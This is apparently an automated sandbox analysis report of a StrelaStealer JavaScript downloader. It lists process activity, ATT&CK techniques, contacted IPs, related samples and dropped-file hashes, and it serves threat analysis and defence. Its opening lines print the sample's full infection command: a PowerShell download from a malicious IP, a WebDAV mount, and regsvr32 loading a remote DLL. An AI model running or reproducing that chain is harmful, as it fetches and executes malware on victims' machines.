Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
29522576223272839.js	11%	Virustotal		Browse
29522576223272839.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/h;	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sceP)	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/W	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2695152196.000001AB79600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/h;	net.exe, 00000007.00000002.1467705432.0000024CCCD48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1467688310.000001AB79550000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/W	net.exe, 00000007.00000002.1469654192.0000024CCCD79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1464797566.0000024CCCD79000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1464797566.0000024CCCD79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1467705432.0000024CCCD48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1463579234.0000024CCCD9B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469654192.0000024CCCD6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sceP)	net.exe, 00000007.00000002.1467705432.0000024CCCD48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589889
Start date and time:	2025-01-13 09:46:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	29522576223272839.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/39@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 2.23.197.184, 2.23.242.162, 199.232.214.172, 2.22.242.123, 2.22.242.11, 3.219.243.226, 4.245.163.56, 23.206.229.226, 23.47.168.24
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:47:08	API Interceptor	23x Sleep call for process: powershell.exe modified
03:47:12	API Interceptor	1x Sleep call for process: net.exe modified
03:47:12	API Interceptor	2x Sleep call for process: svchost.exe modified
03:47:20	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	199.232.214.172
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://satelite.nv-ec.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support.te-wt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1528915004169812209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1178918864369817238.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	byte.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021902480977205
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAa:RJE+Lfki1GjHwU/+vVhWqpH
MD5:	47A1141A062DE6C2CE968F09681315BC
SHA1:	D69BA93316CB3D9C8FB15DC0C8AAD284AA8F83AC
SHA-256:	A364405C481F374521DA35349B0F929D2F24A2D56995F0E17CF4B9479142521E
SHA-512:	19E96AEDBD5D906DFF84D386702D08D0F51E866CD8127B6866075C08A3E06DB1308AB8F2F0B0273D31AAB976CE33586506418DC8C60CC67D75576A51380EC9E8
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xeb3cfc46, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432982184004252
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	9BB650A121A66D9019EA29F8A5D25645
SHA1:	6789A1DF08532F113E59378B78F874C930C6C934
SHA-256:	5517A679E5B1D62068038DD4A8D197AAD59872ED5663647444E574E1A01DDE3F
SHA-512:	CF4C1901012512A67405798E8ABCCA01B3C076868F1A06821F01A8CDF8E473364717FBF3D79DD9F198858E7A8AF7627CFADA90CA248666742DB6A4D73F6FC0FA
Malicious:	false
Preview:	.<.F... ...............X\...;...{......................0.x...... ...{s../...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................e.L./...}5..................L../...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08127480072481097
Encrypted:	false
SSDEEP:	3:FYyYefcxgvll/nqlFcl1ZUllllEtcfZollGBnX/l/Tj/k7/t:Oyzfqqll/qlFclQ/l2tF254
MD5:	DEB831F534A5EFA12CC29CE4C5DA3126
SHA1:	597CF3239202349C732F83188509B6E305A8A861
SHA-256:	8B43D4AE868CED554A2613787B11D2CE1AB4FDF1E8C77852701D4E54F5BD2801
SHA-512:	5B04A01C0FDC2F34DFD141560FC3A6BFAFA7641A195B8621BFFBAB4DC77E7E794BA3EA05E1F8795153EDE7D1BE41E22A60072280337A7045FE0FC641CB512392
Malicious:	false
Preview:	P........................................;...{.../...}... ...{s.......... ...{s.. ...{s.P.... ...{s..................L../...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.212666170414159
Encrypted:	false
SSDEEP:	6:iOnR8jQL+q2PCHhJ2nKuAl9OmbnIFUtdR8edG1ZmwzR8edQLVkwOCHhJ2nKuAl91:7R8jVvBHAahFUtT8uG1/98uI56HAaSJ
MD5:	DF8B7F8EB9EB17C17CF50A06C89E6415
SHA1:	6E5E0040005CCB6246E4446CAD7FB3CF1974BE51
SHA-256:	5D22F77DA49E84B8142A176357DB32B046578CE5BD1056BF06CC3C477E32231C
SHA-512:	60E06CD20C518E206A08C3451ACB8AB2A5E83F4C13CC846D6E306971334D98C3D1DDBBF76FEEED4CEFF308AD88B1D1813E391FF745457D3D9BC298336F7DAFDD
Malicious:	false
Preview:	2025/01/13-03:47:12.411 1fc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:47:12.414 1fc8 Recovering log #3.2025/01/13-03:47:12.414 1fc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.212666170414159
Encrypted:	false
SSDEEP:	6:iOnR8jQL+q2PCHhJ2nKuAl9OmbnIFUtdR8edG1ZmwzR8edQLVkwOCHhJ2nKuAl91:7R8jVvBHAahFUtT8uG1/98uI56HAaSJ
MD5:	DF8B7F8EB9EB17C17CF50A06C89E6415
SHA1:	6E5E0040005CCB6246E4446CAD7FB3CF1974BE51
SHA-256:	5D22F77DA49E84B8142A176357DB32B046578CE5BD1056BF06CC3C477E32231C
SHA-512:	60E06CD20C518E206A08C3451ACB8AB2A5E83F4C13CC846D6E306971334D98C3D1DDBBF76FEEED4CEFF308AD88B1D1813E391FF745457D3D9BC298336F7DAFDD
Malicious:	false
Preview:	2025/01/13-03:47:12.411 1fc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:47:12.414 1fc8 Recovering log #3.2025/01/13-03:47:12.414 1fc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.203892545654418
Encrypted:	false
SSDEEP:	6:iOnRwIlyq2PCHhJ2nKuAl9Ombzo2jMGIFUtdRn/1ZmwzRf+RkwOCHhJ2nKuAl9OU:7RVlyvBHAa8uFUtTn9/9f+R56HAa8RJ
MD5:	D4F5727CE3421F4A8BE79DFBF8E7A197
SHA1:	0ABF96B56B266B7E32EF6352E378661822DA6979
SHA-256:	9C479D14A9FD44F9B96C9125D2FC8D59382DD47710686F7620B7B9A798846148
SHA-512:	C9F876BDD78D3822CFD57EFB712D0A6B992B95A24D86A9A2F4FEA90B7BF47DFBB829A41481777D672095F4D4CAFBAC5FE898BF6E71D4A48005A628C160D39D43
Malicious:	false
Preview:	2025/01/13-03:47:12.555 8a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:47:12.557 8a4 Recovering log #3.2025/01/13-03:47:12.558 8a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.203892545654418
Encrypted:	false
SSDEEP:	6:iOnRwIlyq2PCHhJ2nKuAl9Ombzo2jMGIFUtdRn/1ZmwzRf+RkwOCHhJ2nKuAl9OU:7RVlyvBHAa8uFUtTn9/9f+R56HAa8RJ
MD5:	D4F5727CE3421F4A8BE79DFBF8E7A197
SHA1:	0ABF96B56B266B7E32EF6352E378661822DA6979
SHA-256:	9C479D14A9FD44F9B96C9125D2FC8D59382DD47710686F7620B7B9A798846148
SHA-512:	C9F876BDD78D3822CFD57EFB712D0A6B992B95A24D86A9A2F4FEA90B7BF47DFBB829A41481777D672095F4D4CAFBAC5FE898BF6E71D4A48005A628C160D39D43
Malicious:	false
Preview:	2025/01/13-03:47:12.555 8a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:47:12.557 8a4 Recovering log #3.2025/01/13-03:47:12.558 8a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\34388aed-6e97-4deb-a877-b5b3a840b205.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9643961401432035
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdVsBdOg2Hkcaq3QYiub6P7E4T3y:Y2sRds+2dMH33QYhbS7nby
MD5:	4BE149D4863FF9FAFA8CCB57C534C509
SHA1:	FA48412247438D3FC00AB0F0B4B02A02112815B7
SHA-256:	28762E35F639C3000E6E4C496CA19F9BF11D5A408265AA44258F9E3BAD8835A2
SHA-512:	AE357440E8A7910C687A1F64090809C8FED8229570CC18B35ADD0B7F73BF6227FB7A5E1680BBBC29038C7A47D5F10932BE9EBA7C5C338B0D3B9A74B4C6FD94D4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381318044438578","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136907},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9643961401432035
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdVsBdOg2Hkcaq3QYiub6P7E4T3y:Y2sRds+2dMH33QYhbS7nby
MD5:	4BE149D4863FF9FAFA8CCB57C534C509
SHA1:	FA48412247438D3FC00AB0F0B4B02A02112815B7
SHA-256:	28762E35F639C3000E6E4C496CA19F9BF11D5A408265AA44258F9E3BAD8835A2
SHA-512:	AE357440E8A7910C687A1F64090809C8FED8229570CC18B35ADD0B7F73BF6227FB7A5E1680BBBC29038C7A47D5F10932BE9EBA7C5C338B0D3B9A74B4C6FD94D4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381318044438578","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136907},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2276165032984165
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+baQEy:S43C4mS7fFi0KFYDjr3LWO3V3aw+baQn
MD5:	525CE8551EC5ED0FAD4314012D2AD12E
SHA1:	0FB96B2ACB36C299E2E0EBB9845E5FF821319869
SHA-256:	31EB62B7248FA89B8971065D7F0E2B522595E16116FE8082ECFE88B2A1660682
SHA-512:	E3D76EB8149DE00AD64D0928A0144B652B0E123CE66B818E0D7F4E9C44A96E995863FB6D58D0D4F3825866E8D959731C01E82C0C4F99E7F41B2CEE84F6F5FA4E
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.207389037257585
Encrypted:	false
SSDEEP:	6:iOnRWnIlyq2PCHhJ2nKuAl9OmbzNMxIFUtdRjdKj1ZmwzRjdK1RkwOCHhJ2nKuAo:7RWn0yvBHAa8jFUtTAJ/9A1R56HAa84J
MD5:	1F59829B57533ED92DF3622DE86AA9AB
SHA1:	E0DFECAAB2EEFBCC98396C08C25D01A97034F290
SHA-256:	7089E8AD118DA58149AA6792EB0C7DA85560C2CC89158D21E8035A57FA76B982
SHA-512:	B77406E5FB85C6D7DF39CF7B80A6AF30C76F85BB5B7DA615EB22E1D818AEECE6E9E9EB979F6EB171A89403BDBB34173DE81FEE0753768F0A7109DF3F6C0F3DA3
Malicious:	false
Preview:	2025/01/13-03:47:12.733 8a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:47:12.734 8a4 Recovering log #3.2025/01/13-03:47:12.734 8a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.207389037257585
Encrypted:	false
SSDEEP:	6:iOnRWnIlyq2PCHhJ2nKuAl9OmbzNMxIFUtdRjdKj1ZmwzRjdK1RkwOCHhJ2nKuAo:7RWn0yvBHAa8jFUtTAJ/9A1R56HAa84J
MD5:	1F59829B57533ED92DF3622DE86AA9AB
SHA1:	E0DFECAAB2EEFBCC98396C08C25D01A97034F290
SHA-256:	7089E8AD118DA58149AA6792EB0C7DA85560C2CC89158D21E8035A57FA76B982
SHA-512:	B77406E5FB85C6D7DF39CF7B80A6AF30C76F85BB5B7DA615EB22E1D818AEECE6E9E9EB979F6EB171A89403BDBB34173DE81FEE0753768F0A7109DF3F6C0F3DA3
Malicious:	false
Preview:	2025/01/13-03:47:12.733 8a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:47:12.734 8a4 Recovering log #3.2025/01/13-03:47:12.734 8a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
